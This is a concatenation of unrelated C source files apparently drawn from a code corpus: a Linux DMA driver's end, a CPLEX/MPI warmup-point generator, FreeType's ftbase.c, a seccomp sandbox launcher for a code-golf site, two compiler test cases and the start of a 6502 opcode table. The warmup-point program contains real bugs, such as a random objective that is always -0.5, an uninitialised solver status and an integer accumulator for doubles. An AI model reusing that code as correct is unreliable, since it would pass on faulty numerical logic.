while (dma_readl(atdma, EBCISR))
cpu_relax();
/* restore saved data */
dma_writel(atdma, EBCIER, atdma->save_imr);
list_for_each_entry_safe(chan, _chan, &atdma->dma_common.channels,
device_node) {
struct at_dma_chan *atchan = to_at_dma_chan(chan);
channel_writel(atchan, CFG, atchan->save_cfg);
if (atc_chan_is_cyclic(atchan))
atc_resume_cyclic(atchan);
}
return 0;
}
static const struct dev_pm_ops at_dma_dev_pm_ops = {
.prepare = at_dma_prepare,
.suspend_noirq = at_dma_suspend_noirq,
.resume_noirq = at_dma_resume_noirq,
};
static struct platform_driver at_dma_driver = {
.remove = at_dma_remove,
.shutdown = at_dma_shutdown,
.id_table = atdma_devtypes,
.driver = {
.name = "at_hdmac",
.pm = &at_dma_dev_pm_ops,
.of_match_table = of_match_ptr(atmel_dma_dt_ids),
},
};
static int __init at_dma_init(void)
{
return platform_driver_probe(&at_dma_driver, at_dma_probe);
}
subsys_initcall(at_dma_init);
static void __exit at_dma_exit(void)
{
platform_driver_unregister(&at_dma_driver);
}
module_exit(at_dma_exit);
MODULE_DESCRIPTION("Atmel AHB DMA Controller driver");
MODULE_AUTHOR("Nicolas Ferre <[email protected]>");
MODULE_LICENSE("GPL");
MODULE_ALIAS("platform:at_hdmac");
|
744828.c | /* --------------------------------------------------------------------------
* File: createWarmupPts.c
* Version 1.0
* --------------------------------------------------------------------------
* Licence CC BY 4.0 : Free to share and modify
* Author : Marouen BEN GUEBILA - [email protected]
* --------------------------------------------------------------------------
*/
/* createWarmupPts.c - A hybrid Open MP/MPI parallel optimization of fastFVA
Usage
createWarmupPts <datafile>
<datafile> : .mps file containing LP problem
*/
/*open mp declaration*/
#include <omp.h>
#include "mpi.h"
/* ILOG Cplex declaration*/
#include <ilcplex/cplex.h>
/* Bring in the declarations for the string functions */
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <time.h>
#include <ctype.h>
/*Forward declaration*/
static void
free_and_null (char **ptr),
usage (char *progname);
void copyArrMat(double *x, double **fluxMat, int ind, int n){
/*Copies an array into a column of a multidimensional array*/
for(int i=0;i<n;i++){
fluxMat[i][ind] = x[i];
}
}
void movePtsBds(CPXENVptr env,CPXLPptr lp, double *x, int n){
/*Moves solution points within bounds*/
double *lb = NULL, *ub= NULL;
lb = (double *) malloc (n * sizeof(double));
ub = (double *) malloc (n * sizeof(double));
CPXgetlb (env, lp, lb, 0, n-1);
CPXgetub (env, lp, ub, 0, n-1);
for(int i=0;i<n;i++){
if(x[i]<lb[i]){
x[i] = lb[i];
}else if (x[i]>ub[i]){
x[i] = ub[i];
}
}
}
void createCenterPt(double **fluxMat, int nPts, int n, double *centPt){
/*Creates center point of warmup points*/
int sum=0;
for(int i=0;i<n;i++){
sum = 0;
for(int j=0; j<nPts;j++){
sum += fluxMat[i][j];
}
centPt[i] = (double)sum/(nPts);
}
}
void movePtsCet(double **fluxMat, int nPts, int n, double *centPt){
/*Normalize warmup points to the center point*/
for(int i=0;i<n;i++){
for(int j=0;j<nPts;j++){
fluxMat[i][j] = fluxMat[i][j]*0.33 + 0.67*centPt[i];
}
}
}
void fva(CPXLPptr lp, int n, int scaling,double **fluxMat, int rank, int numprocs, int nPts){
/* The actual Open MP FVA called with CPLEX env, CPLEX LP
the optimal LP solution and n the number of rows
*/
int status;
int cnt = 1;//number of bounds to be changed
double zero=0, one=1, mOne=-1;;//optimisation percentage
int i,j,k,curpreind,tid,nthreads, solstat;
int chunk = 50, ind, indices[n];
double *values;//obj function initial array
double objval, *x = NULL;
/*optimisation loop Max:j=-1 Min:j=+1*/
#pragma omp parallel private(tid,i,j,status,solstat)
{
int iters = 0;
double wTime = omp_get_wtime();
tid=omp_get_thread_num();
if(tid==0){
nthreads=omp_get_num_threads();
if(rank==0){
printf("Number of threads = %d, Number of CPUs = %d\n\n",nthreads,numprocs);
}
}
CPXENVptr env = NULL;
CPXLPptr lpi = NULL;
env = CPXopenCPLEX (&status);//open cplex instance for every thread
//status = CPXsetintparam (env, CPX_PARAM_PREIND, CPX_OFF);//deactivate presolving
lpi = CPXcloneprob(env,lp, &status);//clone problem for every thread
/*set solver parameters*/
status = CPXsetintparam (env, CPX_PARAM_PARALLELMODE, 1);
status = CPXsetintparam (env, CPX_PARAM_THREADS, 1);
status = CPXsetintparam (env, CPX_PARAM_AUXROOTTHREADS, 2);
if (scaling){
/*Change of scaling parameter*/
status = CPXsetintparam (env, CPX_PARAM_SCAIND, mOne);//1034 is index scaling parameter
status = CPXgetintparam (env, CPX_PARAM_SCAIND, &curpreind);
}
/*Initialize array of objective coefficients*/
for(k=0;k<n;k++){
indices[k]=k;
}
/*Allocate array of zeros*/
values =(double*)calloc(n, sizeof(double));
/*Allocate solution arrary*/
x = (double *) malloc (n * sizeof(double));
/*Set seed for every thread*/
srand((unsigned int)(time(NULL)) ^ omp_get_thread_num());
#pragma omp for schedule(dynamic,chunk) collapse(2) nowait
for(i=rank*nPts/numprocs;i<(rank+1)*nPts/numprocs;i++){
for(j=+1;j>-2;j-=2){
while(solstat != 1){
status = CPXchgobj (env, lpi, n, indices, values);//turn all coeffs to zero
if(i<n){
status = CPXchgobjsen (env, lpi, j);
status = CPXchgobj (env, lpi, cnt, &i, &one);//change obj index
status = CPXlpopt (env, lpi);//solve LP
status = CPXsolution (env, lpi, &solstat, &objval, x, NULL, NULL, NULL);
}else{
for(k=0;k<n;k++){
values[k]=rand()%1 - 0.5;
}//create random objective function
status = CPXchgobjsen (env, lpi, j);//change obj sense
status = CPXchgobj (env, lpi, n, indices, values);
status = CPXlpopt (env, lpi);//solve LP
status = CPXsolution (env, lpi, &solstat, &objval, x, NULL, NULL, NULL);
}
}
iters++;
//adjust results within bounds
movePtsBds(env, lpi, x, n);
//save results
if(j==-1){//save results
ind=2*i;
copyArrMat(x, fluxMat, ind, n);
}else{
ind=2*i+1;
copyArrMat(x, fluxMat, ind, n);
}
//reinit solstat
solstat=0;
}
}
wTime = omp_get_wtime() - wTime;
printf("Thread %d/%d of process %d/%d did %d iterations in %f s\n",omp_get_thread_num(),omp_get_num_threads(),rank+1,numprocs,iters,wTime);
}
}
int main (int argc, char **argv){
int status = 0;
double elapsedTime;
struct timespec now, tmstart;
double *cost = NULL;
double *lb = NULL;
double *ub = NULL;
double zero=0;
int cnt=1;
CPXENVptr env = NULL;//CPLEX environment
CPXLPptr lp = NULL;//LP problem
int curpreind,i, j,m,n,mOne=-1,scaling=0, nPts;
double **fluxMat, **globalfluxMat;
int numprocs, rank, namelen;
char processor_name[MPI_MAX_PROCESSOR_NAME];
FILE *fp;
char fileName[100] = "warmup.csv";
char modelName[100], finalName[300], nPtsStr[10];
double *centPt = NULL; // initialize center point
/*Initialize MPI*/
MPI_Init(&argc, &argv);
MPI_Comm_size(MPI_COMM_WORLD, &numprocs);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
MPI_Get_processor_name(processor_name, &namelen);
/*Check arg number*/
if (rank==0){
if(( argc == 2 ) | ( argc == 3 )){
printf("\nThe model supplied is %s\n", argv[1]);
strcpy(modelName,argv[1]);
}else if( argc > 3 ) {
printf("Too many arguments supplied.\n");
goto TERMINATE;
}else {
printf("One argument expected.\n");
goto TERMINATE;
}
}
/* Initialize the CPLEX environment */
env = CPXopenCPLEX (&status);
if ( env == NULL ) {
char errmsg[CPXMESSAGEBUFSIZE];
fprintf (stderr, "Could not open CPLEX environment.\n");
CPXgeterrorstring (env, status, errmsg);
fprintf (stderr, "%s", errmsg);
goto TERMINATE;
}
/* Turn off output to the screen */
status = CPXsetintparam (env, CPXPARAM_ScreenOutput, CPX_OFF);
if ( status ) {
fprintf (stderr,
"Failure to turn on screen indicator, error %d.\n", status);
goto TERMINATE;
}
/* Turn on data checking */
/*status = CPXsetintparam (env, CPXPARAM_Read_DataCheck, CPX_ON);
if ( status ) {
fprintf (stderr,
"Failure to turn on data checking, error %d.\n", status);
goto TERMINATE;
}*/
/* Create the problem. */
lp = CPXcreateprob (env, &status, "Problem");
if ( lp == NULL ) {
fprintf (stderr, "Failed to create LP.\n");
goto TERMINATE;
}
/*Read problem */
status = CPXreadcopyprob (env, lp, argv[1], NULL);
/*Change problem type*/
status = CPXchgprobtype(env,lp,CPXPROB_LP);
/*Scaling parameter if coupled model*/
if ( argc == 3 ) {
if (atoi(argv[2])==-1){
/*Change of scaling parameter*/
scaling = 1;
status = CPXsetintparam (env, CPX_PARAM_SCAIND, mOne);//1034 is index scaling parameter
status = CPXgetintparam (env, CPX_PARAM_SCAIND, &curpreind);
printf("SCAIND parameter is %d\n",curpreind);
}
}
/* tic. */
clock_gettime(CLOCK_REALTIME, &tmstart);
/*Problem size */
m = CPXgetnumrows (env, lp);
n = CPXgetnumcols (env, lp);
/*Ask for number of warmup points*/
if(rank==0){
printf("How many warmup points should I generate? It should be larger than %d. \n", n*2);
scanf("%d", &nPts);
/* Write the output to the screen. */
printf ("Creating %d warmup points! \n", nPts);
}
/*Dynamically allocate result vector*/
globalfluxMat =(double**)calloc(n , sizeof(double*));//dimension of lines
fluxMat =(double**)calloc(n , sizeof(double*));
for(i=0;i<n;i++){//dimension of columns
fluxMat[i]=(double*)calloc(nPts , sizeof(double));
globalfluxMat[i]=(double*)calloc(nPts , sizeof(double));
}
/*Disable dynamic teams*/
omp_set_dynamic(0);
/*Allocate space for center point*/
centPt =(double*)calloc(n, sizeof(double));
/* Create warmup points */
fva(lp, n, scaling, fluxMat, rank, numprocs, nPts/2);
/*Reduce results*/
MPI_Barrier(MPI_COMM_WORLD);
MPI_Allreduce(fluxMat, globalfluxMat, n, MPI_DOUBLE, MPI_SUM, MPI_COMM_WORLD);
/*Create center point*/
createCenterPt(globalfluxMat, nPts, n, centPt);
//for(int k=0;k<n;k++){
// printf("%f\n",centPt[k]);
//}
/*Move points to the center*/
movePtsCet(globalfluxMat, nPts, n, centPt);
/* Print results*/
/*if(rank==0){
for(i=0;i<n;i++){//print results and status
printf("Min %d is %.2f status is %.1f \n",i,globalminFlux[i],globalminsolStat[i]);
printf("Max %d is %.2f status is %.1f \n",i,globalmaxFlux[i],globalmaxsolStat[i]);
}
}*/
/*Save to csv file*/
//itoa(nPts, nPtsStr, 10);
//strcat(nPtsStr, ".csv");
//strcat(modelName, fileName);
modelName[strlen(modelName)-4] = '\0';//remove extension
sprintf(finalName,"%s%d%s",modelName,nPts,fileName);
fp=fopen(finalName,"w+");
if(rank==0){
for(i=0;i<n;i++){
for(j=0;j<nPts-1;j++){
fprintf(fp,"%f,",globalfluxMat[i][j]);
}
fprintf(fp,"%f",globalfluxMat[i][nPts-1]);//print last value
fprintf(fp,"\n");
}
}
fclose(fp);
/*Finalize*/
clock_gettime(CLOCK_REALTIME, &now);
elapsedTime = (double)((now.tv_sec+now.tv_nsec*1e-9) - (double)(tmstart.tv_sec+tmstart.tv_nsec*1e-9));
if (rank==0){
printf("Warmup points created in %.5f seconds.\n", elapsedTime);
}
MPI_Finalize();
TERMINATE:
/* Free up the problem as allocated by CPXcreateprob, if necessary */
if ( lp != NULL ) {
status = CPXfreeprob (env, &lp);
if ( status ) {
fprintf (stderr, "CPXfreeprob failed, error code %d.\n", status);
}
}
/* Free up the CPLEX environment, if necessary */
if ( env != NULL ) {
status = CPXcloseCPLEX (&env);
if ( status > 0 ) {
char errmsg[CPXMESSAGEBUFSIZE];
fprintf (stderr, "Could not close CPLEX environment.\n");
CPXgeterrorstring (env, status, errmsg);
fprintf (stderr, "%s", errmsg);
}
}
free_and_null ((char **) &cost);
free_and_null ((char **) &lb);
free_and_null ((char **) &ub);
return (status);
} /* END main */
/* Function to free up the pointer *ptr, and sets *ptr to NULL */
static void free_and_null (char **ptr){
if ( *ptr != NULL ) {
free (*ptr);
*ptr = NULL;
}
} /* END free_and_null */
static void usage (char *progname){
fprintf (stderr,"Usage: %s -X <datafile>\n", progname);
fprintf (stderr," where X is one of the following options: \n");
fprintf (stderr," r generate problem by row\n");
fprintf (stderr," c generate problem by column\n");
fprintf (stderr," Exiting...\n");
} /* END usage */
|
443483.c | /***************************************************************************/
/* */
/* ftbase.c */
/* */
/* Single object library component (body only). */
/* */
/* Copyright 1996-2001, 2002, 2003, 2004, 2006, 2007, 2008, 2009 by */
/* David Turner, Robert Wilhelm, and Werner Lemberg. */
/* */
/* This file is part of the FreeType project, and may only be used, */
/* modified, and distributed under the terms of the FreeType project */
/* license, LICENSE.TXT. By continuing to use, modify, or distribute */
/* this file you indicate that you have read the license and */
/* understand and accept it fully. */
/* */
/***************************************************************************/
#include <freetype/ft2build.h>
#define FT_MAKE_OPTION_SINGLE_OBJECT
#include "ftpic.c"
#include "basepic.c"
#include "ftadvanc.c"
#include "ftcalc.c"
#include "ftdbgmem.c"
#include "ftgloadr.c"
#include "ftobjs.c"
#include "ftoutln.c"
#include "ftrfork.c"
#include "ftsnames.c"
#include "ftstream.c"
#include "fttrigon.c"
#include "ftutil.c"
#if defined( FT_MACINTOSH ) && !defined ( DARWIN_NO_CARBON )
#include "ftmac.c"
#endif
/* END */
|
165810.c | // +build none
#define _GNU_SOURCE
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <sched.h>
#include <stddef.h>
#include <stdio.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <unistd.h>
// Not defined in alpine yet :-(
#define __NR_pidfd_open 434
#define __NR_clone3 435
#define __NR_openat2 437
#define __NR_pidfd_getfd 438
#define __NR_faccessat2 439
#define ALLOW(name) \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)
#define STR_WITH_LEN(str) str, sizeof(str) - 1
int main(__attribute__((unused)) int argc, char *argv[]) {
if (mount(NULL, "/", NULL, MS_PRIVATE|MS_REC, NULL) < 0) {
perror("mount private");
return 1;
}
if (mount("rootfs", "rootfs", "bind", MS_BIND|MS_REC, NULL) < 0) {
perror("mount bind");
return 1;
}
if (syscall(SYS_pivot_root, "rootfs", "rootfs") < 0) {
perror("pivot_root");
return 1;
}
if (chdir("/") < 0) {
perror("chdir");
return 1;
}
if (umount2("/", MNT_DETACH) < 0) {
perror("umount2");
return 1;
}
if (mount(NULL, "/proc", "proc", MS_RDONLY, NULL) < 0) {
perror("mount proc");
return 1;
}
if (mount(NULL, "/tmp", "tmpfs", 0, NULL) < 0) {
perror("mount tmp");
return 1;
}
if (sethostname(STR_WITH_LEN("code-golf")) < 0) {
perror("sethostname");
return 1;
}
if (setgid(65534) < 0) {
perror("setgid");
return 1;
}
if (setuid(65534) < 0) {
perror("setuid");
return 1;
}
// sudo journalctl -f _AUDIT_TYPE_NAME=SECCOMP
// ... SECCOMP ... syscall=xxx ...
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)),
// FIXME Julia attempts this wildly high syscall :-S
// SECCOMP auid=x uid=65534 gid=65534 ses=x pid=x comm="julia" exe="/usr/bin/julia" sig=31 arch=c000003e syscall=1008 compat=0 ip=x code=0x0
#define __NR_julia 1008
ALLOW(julia),
/*************\
| File System |
\*************/
// File Operations
ALLOW(close), // 3
ALLOW(creat), // 85
ALLOW(fallocate), // 285
ALLOW(ftruncate), // 77
ALLOW(memfd_create), // 319
ALLOW(mknod), // 133
ALLOW(mknodat), // 259
ALLOW(name_to_handle_at), // 303
ALLOW(open), // 2
ALLOW(openat), // 257
ALLOW(openat2), // 437
ALLOW(open_by_handle_at), // 304
ALLOW(rename), // 82
ALLOW(renameat2), // 316
ALLOW(renameat), // 264
ALLOW(truncate), // 76
ALLOW(userfaultfd), // 323
// Directory Operations
ALLOW(chdir), // 80
ALLOW(chroot), // 161
ALLOW(fchdir), // 81
ALLOW(getcwd), // 79
ALLOW(getdents64), // 217
ALLOW(getdents), // 78
ALLOW(lookup_dcookie), // 212
ALLOW(mkdir), // 83
ALLOW(mkdirat), // 258
ALLOW(rmdir), // 84
// Link Operations
ALLOW(link), // 86
ALLOW(linkat), // 265
ALLOW(readlink), // 89
ALLOW(readlinkat), // 267
ALLOW(symlink), // 88
ALLOW(symlinkat), // 266
ALLOW(unlink), // 87
ALLOW(unlinkat), // 263
// Basic File Attributes
ALLOW(access), // 21
ALLOW(chmod), // 90
ALLOW(chown), // 92
ALLOW(faccessat), // 269
ALLOW(faccessat2), // 439
ALLOW(fchmod), // 91
ALLOW(fchmodat), // 268
ALLOW(fchown), // 93
ALLOW(fchownat), // 260
ALLOW(fstat), // 5
ALLOW(futimesat), // 261
ALLOW(lchown), // 94
ALLOW(lstat), // 6
ALLOW(newfstatat), // 262
ALLOW(stat), // 4
ALLOW(statx), // 332
ALLOW(umask), // 95
ALLOW(utime), // 132
ALLOW(utimensat), // 280
ALLOW(utimes), // 235
// Extended File Attributes
ALLOW(fgetxattr), // 193
ALLOW(flistxattr), // 196
ALLOW(fremovexattr), // 199
ALLOW(fsetxattr), // 190
ALLOW(getxattr), // 191
ALLOW(lgetxattr), // 192
ALLOW(listxattr), // 194
ALLOW(llistxattr), // 195
ALLOW(lremovexattr), // 198
ALLOW(lsetxattr), // 189
ALLOW(removexattr), // 197
ALLOW(setxattr), // 188
// File Descriptor Manipulations
ALLOW(dup2), // 33
ALLOW(dup), // 32
ALLOW(dup3), // 292
ALLOW(fcntl), // 72
ALLOW(flock), // 73
ALLOW(ioctl), // 16
// Read/Write
ALLOW(copy_file_range), // 326
ALLOW(lseek), // 8
ALLOW(pread64), // 17
ALLOW(preadv2), // 327
ALLOW(preadv), // 295
ALLOW(pwrite64), // 18
ALLOW(pwritev2), // 328
ALLOW(pwritev), // 296
ALLOW(read), // 0
ALLOW(readv), // 19
ALLOW(sendfile), // 40
ALLOW(write), // 1
ALLOW(writev), // 20
// Synchronized I/O
ALLOW(fdatasync), // 75
ALLOW(fsync), // 74
ALLOW(msync), // 26
ALLOW(sync), // 162
ALLOW(sync_file_range), // 277
ALLOW(syncfs), // 306
// Asynchronous I/O
ALLOW(io_pgetevents), // 333
ALLOW(io_cancel), // 210
ALLOW(io_destroy), // 207
ALLOW(io_getevents), // 208
ALLOW(io_setup), // 206
ALLOW(io_submit), // 209
// ALLOW(io_uring_enter), // 426
// ALLOW(io_uring_register), // 427
// ALLOW(io_uring_setup), // 425
// Multiplexed I/O
ALLOW(epoll_create), // 213
ALLOW(epoll_create1), // 291
ALLOW(epoll_ctl), // 233
ALLOW(epoll_pwait), // 281
ALLOW(epoll_wait), // 232
ALLOW(poll), // 7
ALLOW(ppoll), // 271
ALLOW(pselect6), // 270
ALLOW(select), // 23
// Monitoring File Events
// ALLOW(fanotify_init), // 300
// ALLOW(fanotify_mark), // 301
// ALLOW(inotify_add_watch), // 254
// ALLOW(inotify_init1), // 294
// ALLOW(inotify_init), // 253
// ALLOW(inotify_rm_watch), // 255
// Miscellaneous
ALLOW(fadvise64), // 221
ALLOW(getrandom), // 318
ALLOW(readahead), // 187
/*********\
| Network |
\*********/
// Socket Operations
ALLOW(accept), // 43
ALLOW(accept4), // 288
ALLOW(bind), // 49
ALLOW(connect), // 42
ALLOW(getpeername), // 52
ALLOW(getsockname), // 51
ALLOW(getsockopt), // 55
ALLOW(listen), // 50
ALLOW(setsockopt), // 54
ALLOW(shutdown), // 48
ALLOW(socket), // 41
ALLOW(socketpair), // 53
// Send/Receive
ALLOW(recvfrom), // 45
ALLOW(recvmmsg), // 299
ALLOW(recvmsg), // 47
ALLOW(sendmmsg), // 307
ALLOW(sendmsg), // 46
ALLOW(sendto), // 44
// Naming
// ALLOW(setdomainname), // 171
// ALLOW(sethostname), // 170
// Packet Filtering
// ALLOW(bpf), // 321
/******\
| Time |
\******/
// Current Time of Day
// ALLOW(gettimeofday), // 96
// ALLOW(settimeofday), // 164
// ALLOW(time), // 201
// POSIX Clocks
ALLOW(clock_adjtime), // 305
ALLOW(clock_getres), // 229
ALLOW(clock_gettime), // 228
ALLOW(clock_nanosleep), // 230
ALLOW(clock_settime), // 227
// Clocks Based Timers
ALLOW(timer_create), // 222
ALLOW(timer_delete), // 226
ALLOW(timer_getoverrun), // 225
ALLOW(timer_gettime), // 224
ALLOW(timer_settime), // 223
// Timers
ALLOW(alarm), // 37
ALLOW(getitimer), // 36
ALLOW(setitimer), // 38
// File Descriptor Based Timers
ALLOW(timerfd_create), // 283
ALLOW(timerfd_gettime), // 287
ALLOW(timerfd_settime), // 286
// Miscellaneous
// ALLOW(adjtimex), // 159
ALLOW(nanosleep), // 35
ALLOW(times), // 100
/***********\
| Processes |
\***********/
// Creation and Termination
ALLOW(clone), // 56
ALLOW(clone3), // 435
ALLOW(execve), // 59
ALLOW(execveat), // 322
ALLOW(exit), // 60
ALLOW(exit_group), // 231
ALLOW(fork), // 57
ALLOW(vfork), // 58
ALLOW(wait4), // 61
ALLOW(waitid), // 247
// Process ID
ALLOW(getpid), // 39
ALLOW(getppid), // 110
ALLOW(gettid), // 186
ALLOW(pidfd_getfd), // 438
ALLOW(pidfd_open), // 434
// Session ID
ALLOW(getsid), // 124
ALLOW(setsid), // 112
// Process Group ID
ALLOW(getpgid), // 121
ALLOW(getpgrp), // 111
ALLOW(setpgid), // 109
// Users and Groups
ALLOW(getegid), // 108
ALLOW(geteuid), // 107
ALLOW(getgid), // 104
ALLOW(getgroups), // 115
ALLOW(getresgid), // 120
ALLOW(getresuid), // 118
ALLOW(getuid), // 102
ALLOW(setfsgid), // 123
ALLOW(setfsuid), // 122
ALLOW(setgid), // 106
ALLOW(setgroups), // 116
ALLOW(setregid), // 114
ALLOW(setresgid), // 119
ALLOW(setresuid), // 117
ALLOW(setreuid), // 113
ALLOW(setuid), // 105
// Namespaces
// ALLOW(setns), // 308
// Resource Limits
ALLOW(getrlimit), // 97
ALLOW(getrusage), // 98
ALLOW(prlimit64), // 302
ALLOW(setrlimit), // 160
// Process Scheduling
ALLOW(getpriority), // 140
ALLOW(ioprio_get), // 252
ALLOW(ioprio_set), // 251
ALLOW(sched_getaffinity), // 204
ALLOW(sched_getattr), // 315
ALLOW(sched_getparam), // 143
ALLOW(sched_get_priority_max), // 146
ALLOW(sched_get_priority_min), // 147
ALLOW(sched_getscheduler), // 145
ALLOW(sched_rr_get_interval), // 148
ALLOW(sched_setaffinity), // 203
ALLOW(sched_setattr), // 314
ALLOW(sched_setparam), // 142
ALLOW(sched_setscheduler), // 144
ALLOW(sched_yield), // 24
ALLOW(setpriority), // 141
// Virtual Memory
ALLOW(brk), // 12
ALLOW(madvise), // 28
ALLOW(membarrier), // 324
ALLOW(mincore), // 27
ALLOW(mlock), // 149
ALLOW(mlock2), // 325
ALLOW(mlockall), // 151
ALLOW(mmap), // 9
ALLOW(modify_ldt), // 154
ALLOW(mprotect), // 10
ALLOW(mremap), // 25
ALLOW(munlock), // 150
ALLOW(munlockall), // 152
ALLOW(munmap), // 11
ALLOW(pkey_alloc), // 330
ALLOW(pkey_free), // 331
ALLOW(pkey_mprotect), // 329
// Threads
ALLOW(arch_prctl), // 158
ALLOW(capget), // 125
ALLOW(capset), // 126
ALLOW(get_thread_area), // 211
ALLOW(set_thread_area), // 205
ALLOW(set_tid_address), // 218
// Miscellaneous
// ALLOW(kcmp), // 312
ALLOW(prctl), // 157
// ALLOW(process_vm_readv), // 310
// ALLOW(process_vm_writev), // 311
// ALLOW(ptrace), // 101
// ALLOW(seccomp), // 317
// ALLOW(unshare), // 272
// ALLOW(uselib), // 134
/*********\
| Signals |
\*********/
// Standard Signals
ALLOW(kill), // 62
ALLOW(pause), // 34
ALLOW(tgkill), // 234
ALLOW(tkill), // 200
// Real-time Signals
ALLOW(rt_sigaction), // 13
ALLOW(rt_sigpending), // 127
ALLOW(rt_sigprocmask), // 14
ALLOW(rt_sigqueueinfo), // 129
ALLOW(rt_sigreturn), // 15
ALLOW(rt_sigsuspend), // 130
ALLOW(rt_sigtimedwait), // 128
ALLOW(rt_tgsigqueueinfo), // 297
ALLOW(sigaltstack), // 131
// File Descriptor Based Signals
ALLOW(eventfd), // 284
ALLOW(eventfd2), // 290
ALLOW(pidfd_send_signal), // 424
ALLOW(signalfd), // 282
ALLOW(signalfd4), // 289
// Miscellaneous
ALLOW(restart_syscall), // 219
/*****\
| IPC |
\*****/
// Pipe
ALLOW(pipe), // 22
ALLOW(pipe2), // 293
ALLOW(splice), // 275
ALLOW(tee), // 276
ALLOW(vmsplice), // 278
// Shared Memory
ALLOW(shmat), // 30
ALLOW(shmctl), // 31
ALLOW(shmdt), // 67
ALLOW(shmget), // 29
// Semaphores
// ALLOW(semctl), // 66
// ALLOW(semget), // 64
// ALLOW(semop), // 65
// ALLOW(semtimedop), // 220
// Futexes
ALLOW(futex), // 202
ALLOW(get_robust_list), // 274
ALLOW(set_robust_list), // 273
// System V Message Queue
// ALLOW(msgctl), // 71
// ALLOW(msgget), // 68
// ALLOW(msgrcv), // 70
// ALLOW(msgsnd), // 69
// POSIX Message Queue
// ALLOW(mq_getsetattr), // 245
// ALLOW(mq_notify), // 244
// ALLOW(mq_open), // 240
// ALLOW(mq_timedreceive), // 243
// ALLOW(mq_timedsend), // 242
// ALLOW(mq_unlink), // 241
/******\
| NUMA |
\******/
// CPU Node
// ALLOW(getcpu), // 309
// Memory Node
ALLOW(get_mempolicy), // 239
ALLOW(mbind), // 237
ALLOW(migrate_pages), // 256
ALLOW(move_pages), // 279
ALLOW(set_mempolicy), // 238
/****************\
| Key Management |
\****************/
// ALLOW(add_key), // 248
// ALLOW(keyctl), // 250
// ALLOW(request_key), // 249
/*************\
| System-Wide |
\*************/
// Loadable Modules
// ALLOW(create_module), // 174
// ALLOW(delete_module), // 176
// ALLOW(finit_module), // 313
// ALLOW(get_kernel_syms), // 177
// ALLOW(init_module), // 175
// ALLOW(query_module), // 178
// Accounting and Quota
// ALLOW(acct), // 163
// ALLOW(quotactl), // 179
// Filesystem (privileged)
// ALLOW(fsconfig), // 431
// ALLOW(fsmount), // 432
// ALLOW(fsopen), // 430
// ALLOW(fspick), // 433
// ALLOW(mount), // 165
// ALLOW(move_mount), // 429
// ALLOW(nfsservctl), // 180
// ALLOW(open_tree), // 428
// ALLOW(pivot_root), // 155
// ALLOW(swapoff), // 168
// ALLOW(swapon), // 167
// ALLOW(umount2), // 166
// Filesystem (unprivileged)
ALLOW(fstatfs), // 138
ALLOW(statfs), // 137
ALLOW(sysfs), // 139
ALLOW(ustat), // 136
// Miscellaneous (privileged)
// ALLOW(ioperm), // 173
// ALLOW(iopl), // 172
// ALLOW(kexec_file_load), // 320
// ALLOW(kexec_load), // 246
// ALLOW(perf_event_open), // 298
// ALLOW(personality), // 135
// ALLOW(reboot), // 169
// ALLOW(_sysctl), // 156
// ALLOW(syslog), // 103
// ALLOW(vhangup), // 153
// Miscellaneous (unprivileged)
ALLOW(rseq), // 334
ALLOW(sysinfo), // 99
ALLOW(uname), // 63
/************\
| Deprecated |
\************/
// ALLOW(remap_file_pages), // 216
/***************\
| Unimplemented |
\***************/
// ALLOW(afs_syscall), // 183
// ALLOW(create_module), // 174
// ALLOW(epoll_ctl_old), // 214
// ALLOW(epoll_wait_old), // 215
// ALLOW(get_kernel_syms), // 177
// ALLOW(getpmsg), // 181
// ALLOW(nfsservctl), // 180
// ALLOW(putpmsg), // 182
// ALLOW(query_module), // 178
// ALLOW(security), // 185
// ALLOW(tuxcall), // 184
// ALLOW(vserver), // 236
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
};
struct sock_fprog fprog = {
(unsigned short) (sizeof(filter) / sizeof(filter[0])),
filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
perror("prctl(NO_NEW_PRIVS)");
return 1;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &fprog)) {
perror("prctl(SECCOMP)");
return 1;
}
execvp(argv[0], argv);
perror("execvp");
return 1;
}
|
624197.c | struct s {
unsigned i:1;
};
int foo(struct s x)
{
unsigned int i = x.i;
if (i == 0)
return 1;
else if (i == 1)
return 1;
return 0;
}
/*
* check-name: mask1-setne0
* check-command: test-linearize -Wno-decl $file
*
* check-output-start
foo:
.L0:
<entry-point>
ret.32 $1
* check-output-end
*/
|
910173.c | // RUN: %check -e %s
enum A
{
X = sizeof(enum A) // CHECK: error: sizeof incomplete type enum A
};
|
937635.c | /*****************************************************************************/
/* */
/* opc6502.c */
/* */
/* 6502 opcode description table */
/* */
/* */
/* */
/* (C) 2003-2011, Ullrich von Bassewitz */
/* Roemerstrasse 52 */
/* D-70794 Filderstadt */
/* EMail: [email protected] */
/* */
/* */
/* This software is provided 'as-is', without any expressed or implied */
/* warranty. In no event will the authors be held liable for any damages */
/* arising from the use of this software. */
/* */
/* Permission is granted to anyone to use this software for any purpose, */
/* including commercial applications, and to alter it and redistribute it */
/* freely, subject to the following restrictions: */
/* */
/* 1. The origin of this software must not be misrepresented; you must not */
/* claim that you wrote the original software. If you use this software */
/* in a product, an acknowledgment in the product documentation would be */
/* appreciated but is not required. */
/* 2. Altered source versions must be plainly marked as such, and must not */
/* be misrepresented as being the original software. */
/* 3. This notice may not be removed or altered from any source */
/* distribution. */
/* */
/*****************************************************************************/
/* da65 */
#include "handler.h"
#include "opc6502.h"
/*****************************************************************************/
/* Data */
/*****************************************************************************/
/* Descriptions for all opcodes */
const OpcDesc OpcTable_6502[256] = {
{ "brk", 1, flNone, OH_Implicit }, /* $00 */
{ "ora", 2, flUseLabel, OH_DirectXIndirect }, /* $01 */
{ "", 1, flIllegal, OH_Illegal, }, /* $02 */
{ "", 1, flIllegal, OH_Illegal, }, /* $03 */
{ "", 1, flIllegal, OH_Illegal, }, /* $04 */
{ "ora", 2, flUseLabel, OH_Direct }, /* $05 */
{ "asl", 2, flUseLabel, OH_Direct }, /* $06 */
